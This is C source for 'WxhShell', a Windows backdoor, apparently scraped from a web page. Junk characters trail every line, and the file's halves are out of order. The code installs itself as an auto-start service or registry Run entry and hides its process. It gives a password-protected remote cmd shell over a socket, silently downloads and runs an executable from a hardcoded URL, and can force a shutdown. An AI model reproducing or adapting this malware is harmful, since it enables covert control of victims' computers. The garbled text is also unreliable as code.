    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l[fU0;A  
    else { 1;i[H[hNY  
    closesocket(wsh); ;Bd0 =C  
    ExitThread(0); r%}wPN(?D  
    } #5-0R7\d7  
    break; .\7R/cP}{A  
    } ~raRIh=  
  // 获取shell ygW,4Vz7J  
  case 's': { xwW[6Ah  
    CmdShell(wsh); #6[FGM  
    closesocket(wsh); & ;ie+/B  
    ExitThread(0); q*SX.A>YR  
    break; ,ic.b @u1  
  } )wQR2$x~  
  // 退出 ~^2Y*|{)  
  case 'x': { ~N&j6wHg#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ' ^^]Or  
    CloseIt(wsh); O~.A}  
    break; /lCn^E6-  
    } ?{mFQ  
  // 离开 Vf`n>  
  case 'q': { m,K0BL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BI?M/pIm  
    closesocket(wsh); g<-x"$(C&  
    WSACleanup(); CL5u{i5  
    exit(1); cfyN)#9  
    break; M;ac U~J  
        } *` >(K&  
  } U< |kA(5  
  } w^sM,c5d  
@@9#od O  
  // 提示信息  )f>s\T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zjs@7LN  
} Ev|2bk \  
  } mWZoo/xtT  
Fyrr,#  
  return; V lN&Lz  
} RcitW;{|Kg  
;]3Tuq  
// shell模块句柄 q %i2' yE  
int CmdShell(SOCKET sock) `PnB<rf:*1  
{ ~Aq;g$IJZ  
STARTUPINFO si; NYz{ [LM  
ZeroMemory(&si,sizeof(si)); e*;-vS9H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2u4aCfIx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *`YR-+0  
PROCESS_INFORMATION ProcessInfo; Y-hGHnh]'  
char cmdline[]="cmd"; a02@CsH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <?5 ,3`V  
  return 0; bm*Ell\a.  
} C s?kZ %  
i=#<0!m  
// 自身启动模式 BX;Z t9"*  
int StartFromService(void) .-T^ S"`d|  
{ LSv0zAIe/  
typedef struct j y R 9a!  
{ I:Wrwd  
  DWORD ExitStatus; MQ9 9fD$  
  DWORD PebBaseAddress; $rD&rsx6  
  DWORD AffinityMask; 7 [N1Vr(1  
  DWORD BasePriority; OWT5Bjl  
  ULONG UniqueProcessId; 3#}5dO  
  ULONG InheritedFromUniqueProcessId; ?u{y[pI6  
}   PROCESS_BASIC_INFORMATION;  ~,Ck  
Ho9 a#9  
PROCNTQSIP NtQueryInformationProcess; Z.Z+cFi  
R_eKKi@VH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l 3bo  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BFc=GiPnQ  
# kl?ww U  
  HANDLE             hProcess; 'kPc`) \  
  PROCESS_BASIC_INFORMATION pbi; f5<qF ]Y/  
USy^Y?~ ;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]f=108|8  
  if(NULL == hInst ) return 0; P#-Ye<V~J(  
d#cw`h<c~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a^t#kdT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZgVYC4=Q-\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /DA'p[,  
6 6WAD$8$  
  if (!NtQueryInformationProcess) return 0; Ll\y2oJ  
pwU l&hwte  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); */fmy|#   
  if(!hProcess) return 0; vzA)pB~;  
Dp4\rps  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %GQPiWu  
nm2bBX,fh  
  CloseHandle(hProcess); i7v> 9p7  
BR*,E~%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z;`ts/?SY]  
if(hProcess==NULL) return 0; eD5.*O  
{0 d/;  
HMODULE hMod; cl:h 'aG  
char procName[255]; .I_Mmaq;i  
unsigned long cbNeeded; *P]FX-D3  
|{]W (/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i;>Yx#  
-\xNuU  
  CloseHandle(hProcess); PRcW}"m]Qg  
%H Pwu &  
if(strstr(procName,"services")) return 1; // 以服务启动 ~fbFA?g3  
^u`1W^>  
  return 0; // 注册表启动 *f{\ze@5=  
} 4/e|N#1`;[  
MgkeD  
// 主模块 qT}<D`\  
int StartWxhshell(LPSTR lpCmdLine) tJ`tXO  
{ w6(E$:#d  
  SOCKET wsl; C)66 ^l!x  
BOOL val=TRUE; -,+zA.{+W  
  int port=0; |tF:]jnIt  
  struct sockaddr_in door; BU],,t\  
T9N][5\  
  if(wscfg.ws_autoins) Install(); yXyL,R  
Wv!#B$J~U  
port=atoi(lpCmdLine); q9 !)YP+w  
<=2\xJfxB  
if(port<=0) port=wscfg.ws_port; ~Ry?}5&:  
.&fG_(6|  
  WSADATA data; ErmlM#u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;zk& 7P0  
=E?kxf[X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~~,] b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (U bz@s^  
  door.sin_family = AF_INET; M,nX@8 _h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X}x"+ #\<@  
  door.sin_port = htons(port); ObJgJr  
ehe hTP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~5S[Sl  
closesocket(wsl); 03Czx`  
return 1; eU/o I}A  
} ,`kag~bZ  
=Ts2a"n  
  if(listen(wsl,2) == INVALID_SOCKET) { 8[@aX;I  
closesocket(wsl); t+7|/GLs2  
return 1; IL*Ghq{/  
} .=@xTJh  
  Wxhshell(wsl); |hHj7X <?k  
  WSACleanup(); !7)` g i  
!C ]5_  
return 0; x -CTMKX  
fL-lx-~  
} S~L;oX?(!  
v__n>*x  
// 以NT服务方式启动 3azyqpwU$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |qe[`x; %  
{ G':wJ7[]`  
DWORD   status = 0; lRb|GS.h/  
  DWORD   specificError = 0xfffffff; v0psth?qV  
$aIq>vJO9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c:? tn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; V ,# |\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]/31@RT  
  serviceStatus.dwWin32ExitCode     = 0; vZhC_G+tGd  
  serviceStatus.dwServiceSpecificExitCode = 0; Bgw=((p  
  serviceStatus.dwCheckPoint       = 0; _"nzo4e0  
  serviceStatus.dwWaitHint       = 0; 3(?V!y{@  
S)`%clN}J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \0bao<  
  if (hServiceStatusHandle==0) return; $wnK"k%G  
ha Tmfh_|  
status = GetLastError(); #GoZH?MAF  
  if (status!=NO_ERROR) 7S^ba  
{ wg-qq4Q\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (^),G-]  
    serviceStatus.dwCheckPoint       = 0;  S(* u_  
    serviceStatus.dwWaitHint       = 0; YF)uAJAk  
    serviceStatus.dwWin32ExitCode     = status; barY13)$U  
    serviceStatus.dwServiceSpecificExitCode = specificError; U1oZ\Mh  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _-MILkx\  
    return; $r3kAM;V:  
  } |j2b=0Rpk  
5B:% ##Ug5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *yX5g,52-|  
  serviceStatus.dwCheckPoint       = 0; VPC7Dh%.  
  serviceStatus.dwWaitHint       = 0; w^BF.Nu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ML:Zm~A1U  
} $G UCVxs  
+)J;4B  
// 处理NT服务事件,比如:启动、停止 19#s:nt9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1:Sq?=&  
{ Dt#( fuk#  
switch(fdwControl) *P:!lO\|  
{ /w|!SZB  
case SERVICE_CONTROL_STOP: V= wWY*C  
  serviceStatus.dwWin32ExitCode = 0; HGiO}|q :  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  ,>C`|  
  serviceStatus.dwCheckPoint   = 0; ;*J_V/&?  
  serviceStatus.dwWaitHint     = 0; VWLqJd>tr1  
  { 3P, ul*e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K$1(HbL  
  } Q L 1e  
  return; .5_zh; `  
case SERVICE_CONTROL_PAUSE: ]S2F9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }F B]LLi  
  break; VoG_'P  
case SERVICE_CONTROL_CONTINUE: OTy{:ID  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ":I@>t{H*  
  break; P* Z1Rs_  
case SERVICE_CONTROL_INTERROGATE: JK jVrx> @  
  break; *#y9P ve  
}; f*%Y]XL;%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TWU[/ >K  
} +hZ{/  
ByU&fx2Z  
// 标准应用程序主函数 Kb$6a'u7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L>3-z>u,  
{ #qnK nxD  
O-3R#sZ0  
// 获取操作系统版本 )i^+=TZq  
OsIsNt=GetOsVer(); Jc=~BT_G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eV5 e:9  
>LAhc7I  
  // 从命令行安装 f,(@K%  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6,raRg6  
;5dA  
  // 下载执行文件 bxc!x>)  
if(wscfg.ws_downexe) { SuJa?VU1w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fD* ?JzVY  
  WinExec(wscfg.ws_filenam,SW_HIDE); qx'F9I  
} #;(Q \  
F'^y?UP[  
if(!OsIsNt) { `Q1;Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 B]nu \!  
HideProc(); EYy|JT]B  
StartWxhshell(lpCmdLine); >gT QD\k:D  
} ZUd*[\F~!  
else i6-&$<  
  if(StartFromService()) )b=m|A GX  
  // 以服务方式启动 uQmtd  
  StartServiceCtrlDispatcher(DispatchTable); J|uSj/8  
else S-7ryHH*0  
  // 普通方式启动  _(_U=  
  StartWxhshell(lpCmdLine); Q2LAXTF]y  
xXQW|#X\  
return 0; gw^X-  
} E%&E<<nhZ  
rvUJ K,oE  
na`8ulN_  
Aq*,cOF+  
=========================================== .a_xQ]eQ  
IKFNu9*"h  
KB`">zq$u  
8(@ Y@`/  
'-2|GX_o  
Cj10?BNV)  
" 8h{;*Wr-  
1\LK[tvh  
#include <stdio.h> @tfatq+q  
#include <string.h> i}_d&.DbF  
#include <windows.h> =vD}O@tN  
#include <winsock2.h> $.Qu55=z<  
#include <winsvc.h> ~E3"s  
#include <urlmon.h> A4IPd  
@~j- -L  
#pragma comment (lib, "Ws2_32.lib") OlcWptM$  
#pragma comment (lib, "urlmon.lib") (U_dPf  
F !MxC  
#define MAX_USER   100 // 最大客户端连接数 JPmZ%]wA  
#define BUF_SOCK   200 // sock buffer QG]*v=Z  
#define KEY_BUFF   255 // 输入 buffer dMDSyd<(  
ZK?:w^Z  
#define REBOOT     0   // 重启 <=gf|(  
#define SHUTDOWN   1   // 关机 JrJTIUf_  
mKZ^FgG  
#define DEF_PORT   5000 // 监听端口 "SFs\] Z  
<,+6:NmT  
#define REG_LEN     16   // 注册表键长度 m'"Ra-  
#define SVC_LEN     80   // NT服务名长度 FZ@8&T   
G_5E#{u  
// 从dll定义API 1vL$k[^&d  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G1S:hw%rp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;_D5]kl`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pWN5>HV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L.$+W}  
kT ,2eel  
// wxhshell配置信息 1g1gu=|Q  
struct WSCFG { B[{Ie G'  
  int ws_port;         // 监听端口 uTIl} N  
  char ws_passstr[REG_LEN]; // 口令 tg%C>O  
  int ws_autoins;       // 安装标记, 1=yes 0=no nTH!_S>b(Y  
  char ws_regname[REG_LEN]; // 注册表键名 tRzo}_+N  
  char ws_svcname[REG_LEN]; // 服务名 #e5*Dr8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #M=d)}[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &4V"FHy2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V~ [I /Vi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1Jn:huV2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xb5 $ijH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;h#nal>w@S  
I3D#wXW  
}; //H3{^{  
ba"a!#wA  
// default Wxhshell configuration nyr)d%I{  
struct WSCFG wscfg={DEF_PORT, 1`I#4f  
    "xuhuanlingzhe", 90]{4]y;  
    1, Nk/Ms:57y  
    "Wxhshell", c69M   
    "Wxhshell", VsR`y]"g  
            "WxhShell Service", K$Yc!4M  
    "Wrsky Windows CmdShell Service", *EzAo  
    "Please Input Your Password: ", liG3   
  1, '<KzWxuC  
  "http://www.wrsky.com/wxhshell.exe", K)n0?Q_>  
  "Wxhshell.exe" pgU4>tyD  
    }; 9KLhAYaq  
}dSxrT  
// 消息定义模块 bcy( ?(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C@q&0\HN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gj(UA1~1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n:5*Tg9  
char *msg_ws_ext="\n\rExit."; y1zep\-D  
char *msg_ws_end="\n\rQuit."; Ea2&7  
char *msg_ws_boot="\n\rReboot..."; dL!K''24{  
char *msg_ws_poff="\n\rShutdown..."; p!w}hB598  
char *msg_ws_down="\n\rSave to "; k.CHMl]  
> [|SF%  
char *msg_ws_err="\n\rErr!"; s7#|'jhZt  
char *msg_ws_ok="\n\rOK!"; DozC>  
uyDYS  
char ExeFile[MAX_PATH]; 4!r> ^a  
int nUser = 0; q'p>__Ox  
HANDLE handles[MAX_USER]; dwt<s [k  
int OsIsNt; V7 dAB,:  
-hP-w>  
SERVICE_STATUS       serviceStatus; L u?)Rya  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bU i@4S  
3kBpH7h4  
// 函数声明 w_ po47S4  
int Install(void); m%?b"kxL[  
int Uninstall(void); |Zo_x} 0  
int DownloadFile(char *sURL, SOCKET wsh); R(sa.Q\D4  
int Boot(int flag); r ,,A%  
void HideProc(void); G ]mX+?  
int GetOsVer(void); .cX,"2;n  
int Wxhshell(SOCKET wsl); lZup n?  
void TalkWithClient(void *cs); AFcA5: ja  
int CmdShell(SOCKET sock); I#tEDeF2  
int StartFromService(void); aE2 3[So  
int StartWxhshell(LPSTR lpCmdLine); ]\:FFg_O6t  
{\HE'C/?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,As78^E{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); !%2aw0Yv  
+6* .lRA  
// 数据结构和表定义 AH(O"v`  
SERVICE_TABLE_ENTRY DispatchTable[] = b!' bu  
{ :4D#hOI  
{wscfg.ws_svcname, NTServiceMain}, 7l})`> k  
{NULL, NULL} 4IYC;J2L  
}; K!9rH>`\  
|V|)cPQ  
// 自我安装 tK|hC[  
int Install(void) !u#o"e<qh  
{ 3*gWcPGe  
  char svExeFile[MAX_PATH]; ^Y:Q%?uB/  
  HKEY key; sE8.,\  
  strcpy(svExeFile,ExeFile); Pk; 9\0k7  
K,IPVjS  
// 如果是win9x系统,修改注册表设为自启动 p3eJFg$  
if(!OsIsNt) { ZN ?P4#Z S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s `r  tr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OQA3~\Vu  
  RegCloseKey(key); 6]}Xi:I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g/q$;cB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EN%Xs578  
  RegCloseKey(key); 32IN;X|  
  return 0; b+M[DwPw  
    } 5W!E.fz*T  
  } ~j\/3;^s   
} CW=-@W7  
else { EtH)E)  
xy|-{  
// 如果是NT以上系统,安装为系统服务 GfQP@R"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /j' We-C  
if (schSCManager!=0) ZtEHP`Iin  
{ HC8{);  
  SC_HANDLE schService = CreateService V_(?mC  
  ( Iq\sf-1E  
  schSCManager, 6iFd[<.*j  
  wscfg.ws_svcname, =k[!p'~jD  
  wscfg.ws_svcdisp, 3RRZVc* ^  
  SERVICE_ALL_ACCESS, ,U'Er#U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ' U)~|(\i  
  SERVICE_AUTO_START, fXw%2wg  
  SERVICE_ERROR_NORMAL, +WwQ!vWWd  
  svExeFile, \Rp)n=|  
  NULL, Drlt xI)  
  NULL, C_#0Y_O  
  NULL, F ,{nG[PL  
  NULL, 3@}HdLmN|  
  NULL N_VAdNJ^:  
  ); PSHs<Z47  
  if (schService!=0) A}\Rms 2  
  { !@/?pXt|  
  CloseServiceHandle(schService); S&]:=He  
  CloseServiceHandle(schSCManager); @ z#k~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SAG) vmm  
  strcat(svExeFile,wscfg.ws_svcname); (>0d+ KT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -lMC{~h\(S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nwN<Q\]S  
  RegCloseKey(key); IHo6&  
  return 0; %1HW ) 7  
    } xm YA/wt8  
  } cp?`\P  
  CloseServiceHandle(schSCManager); f8?K_K;\   
} <$D)uY K  
} FZA8@J|Q4  
XpH[SRUx  
return 1; de1&  
} i}<R >]S  
SsznV}{^  
// 自我卸载 mk4%]t"  
int Uninstall(void) jd2Fh):q  
{ m2|0<P@k!  
  HKEY key; !gf&l ^)  
'KQu z)-  
if(!OsIsNt) { g\(7z P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wKY6[vvF  
  RegDeleteValue(key,wscfg.ws_regname); |x<  
  RegCloseKey(key); \\)-[4uC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /2HwK/RZ  
  RegDeleteValue(key,wscfg.ws_regname); %k$C   
  RegCloseKey(key); #zy,x  
  return 0; +Kq>r|;  
  } c= a+7>  
} C#I),LE|d{  
} ;#~ !`>n?  
else { (tq)64XVz  
9D#PO">|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "4t Ry9q  
if (schSCManager!=0) *h =7:*n  
{ x(b&r g.-0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RPiCXpJv&  
  if (schService!=0) ao-C9|2>NU  
  { mG@Q}Y(  
  if(DeleteService(schService)!=0) { bY>o%LL-  
  CloseServiceHandle(schService); |nt J+  
  CloseServiceHandle(schSCManager); Pucf0 #  
  return 0; *q0N$}k  
  } ldX]A#d.  
  CloseServiceHandle(schService); J)fS2Ni+  
  } e;6Sj  
  CloseServiceHandle(schSCManager); r\3In-(AT  
} F}01ikXDb'  
} lHGv:TN  
Xj-3C[ 8@  
return 1; \:=Phbn  
} Sej$x)Q\t  
;OKQP~^iH2  
// 从指定url下载文件 ,Xh4(Gn#b  
int DownloadFile(char *sURL, SOCKET wsh) d=5D 9' +  
{ Zh(f2urKV  
  HRESULT hr; K0E ;4r  
char seps[]= "/"; |;_ yAL  
char *token; 1QN]9R0`#7  
char *file; W.67, 0m$  
char myURL[MAX_PATH]; ^2??]R&Q  
char myFILE[MAX_PATH]; gR(c;  
KcU,RTE  
strcpy(myURL,sURL); =;{S>P!I(t  
  token=strtok(myURL,seps); Z9sg6M@s  
  while(token!=NULL) 8@qahEgQ  
  { MoX* e  
    file=token; nK|";  
  token=strtok(NULL,seps); WWe.1A,  
  } Ka{IueSs  
'Aqmf+Mm  
GetCurrentDirectory(MAX_PATH,myFILE); ~clWG-i  
strcat(myFILE, "\\"); =[k9{cVW  
strcat(myFILE, file); #YNb&K n  
  send(wsh,myFILE,strlen(myFILE),0); -Qgfo|po  
send(wsh,"...",3,0); hW},%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7Ow7|  
  if(hr==S_OK) =0:hrg+Zgx  
return 0; ~xJD3Qf  
else OS9v.pz  
return 1; [)Ge^yI7  
r"Bf@va  
} _ xC~44  
-12v/an]L7  
// 系统电源模块 1=D!C lcb  
int Boot(int flag) lR(&Wc\j  
{ ?SAi t Q3  
  HANDLE hToken; fBF}-{VX(  
  TOKEN_PRIVILEGES tkp; vK{K#{  
"_l[4o[D  
  if(OsIsNt) { 0PfFli`2;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @<PL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4Oy c D  
    tkp.PrivilegeCount = 1; _YJwF1e+M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NWpRzh8$u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j>T''T f  
if(flag==REBOOT) { !^7:Rr _  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [Vf|4xcD  
  return 0; m88~+o<G%  
} 1)R)+`y  
else { z%KChU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qb<gh D=j  
  return 0; +?<jSmGW  
} g\.N>P@Bu  
  } v\ox:C  
  else {  X"0Q)  
if(flag==REBOOT) { f/B--jq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9j"\Lr*o "  
  return 0; Z~|J"2.  
} QEgv,J{  
else { 9N29dp>g{{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ;E&XFTdO  
  return 0; 3q>"#+R.t  
} ,*4"d._Y  
} NLpD,q{  
G#V22Wca8  
return 1; e>^R 8qM?  
} P2p^jm   
} :mI6zsNj  
// win9x进程隐藏模块 _e 3'f:  
void HideProc(void) $!f$R`R^Q\  
{ h$&XQq0T  
}rE|\p>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GEA;9TU|V  
  if ( hKernel != NULL ) M($},xAvDU  
  { > 95Cs`>d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (`NRF6'&1L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [jw o D  
    FreeLibrary(hKernel); ;Ki1nq5c#s  
  } w}0Qy  
q{ hq.KZ  
return; $ T4PC5.  
} .+|DN"PgJ  
hLvv:C@  
// 获取操作系统版本 O2G+ '  
int GetOsVer(void) k +Oq$Pi  
{ {dwV-qz  
  OSVERSIONINFO winfo; q T].,?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `9+EhP$RS  
  GetVersionEx(&winfo); 3EvA 5K.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .%rR  
  return 1; _D9=-^  
  else Em,!=v(*  
  return 0; j r[~  
} ; ]Aa  
YiTp-@$}  
// 客户端句柄模块 t}7wR TG  
int Wxhshell(SOCKET wsl) UjaC( c  
{  ~^S-  
  SOCKET wsh; |DW'RopM  
  struct sockaddr_in client; ]SL&x:/-  
  DWORD myID; 76b7-Nj"  
1Tq$E[  
  while(nUser<MAX_USER) &EPEpN R  
{ v~\45eEA  
  int nSize=sizeof(client); ([Aq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ry ?2 o!  
  if(wsh==INVALID_SOCKET) return 1; @:&+wq_>A^  
O[y`'z;C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?/( K7>`  
if(handles[nUser]==0) b-?o?}*  
  closesocket(wsh); Z?.*.<"Sj  
else v+#j>   
  nUser++; dYd~9  
  } WDdi}i>2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E/ZJ\@gzD  
]eW|}V7A:  
  return 0; 1Ol]^ 'y7)  
} ugB{2oqi  
i =N\[&  
// 关闭 socket -y?Z}5-rs  
void CloseIt(SOCKET wsh) h'~- K`  
{ kZ9< j+.  
closesocket(wsh); <6C9R>  
nUser--; e<4z)  
ExitThread(0); ?+5{HFx  
} I_G>W3  
iyYY)roB  
// 客户端请求句柄 A#X.c=  
void TalkWithClient(void *cs) *BsDHq-F~  
{ `M ygDG+u  
&8_;:  
  SOCKET wsh=(SOCKET)cs; zD^f%p ["#  
  char pwd[SVC_LEN]; nq f<NH3i  
  char cmd[KEY_BUFF]; k8e"5 he  
char chr[1]; IWqxT?*  
int i,j; 41o!2(e$  
,6O9#1A&i  
  while (nUser < MAX_USER) { @/~k8M/  
e6HlOGPVQH  
if(wscfg.ws_passstr) { tR* W-%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _]UDmn[C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9*;isMkq<  
  //ZeroMemory(pwd,KEY_BUFF); ;jU-<  
      i=0; -]\E}Ti  
  while(i<SVC_LEN) { df6&Nu;4L  
xzl4v=7  
  // 设置超时 I ~L Q1 _  
  fd_set FdRead; F/*fQAa"  
  struct timeval TimeOut; } Tr83B|  
  FD_ZERO(&FdRead); x7Rq|NQ  
  FD_SET(wsh,&FdRead); t;dQ~e20  
  TimeOut.tv_sec=8; s}#[*WOc  
  TimeOut.tv_usec=0; IS2Ij  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s~Wu0%])Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ; axa ZV  
K#UA M .  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -`dxx)x  
  pwd=chr[0]; urXb!e{l  
  if(chr[0]==0xd || chr[0]==0xa) { fslk7RlSKg  
  pwd=0; NzAtdcwR  
  break; mK40 f  
  } ^lai!uZVa  
  i++; LnTe_Q7_  
    } 90iW-"l+[  
l~4e2xoT  
  // 如果是非法用户,关闭 socket /;nO<X:XV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N~}v:rK>g  
} V\K m% vP  
;D"P9b]9$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s$>m0^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :+ 9Ft>  
8U2 wH  
while(1) {  ,eeL5V  
+%}5{lu_e  
  ZeroMemory(cmd,KEY_BUFF); B N*,!fx  
'RV\}gqZ  
      // 自动支持客户端 telnet标准   qa$[L@h>  
  j=0; 7tl)4A6  
  while(j<KEY_BUFF) { k]$E8[.t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9hR:y.  
  cmd[j]=chr[0]; K~Au?\{  
  if(chr[0]==0xa || chr[0]==0xd) { r,.95@  
  cmd[j]=0; J;=aIiN]R  
  break; av; (b3Lq  
  } M,\|V3s  
  j++; )/WA)fWkT  
    } _UBJPb@=U  
$qlqW y-s  
  // 下载文件 p=-B~:  
  if(strstr(cmd,"http://")) { oa&US_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m>uI\OY{n  
  if(DownloadFile(cmd,wsh)) Tc3ih~LvG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z<[.MH`ln  
  else U.pr} hq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @0UwI%.  
  } @8M'<tr<z  
  else { 7<R6T9g  
y13CR2t6  
    switch(cmd[0]) { D)*_{   
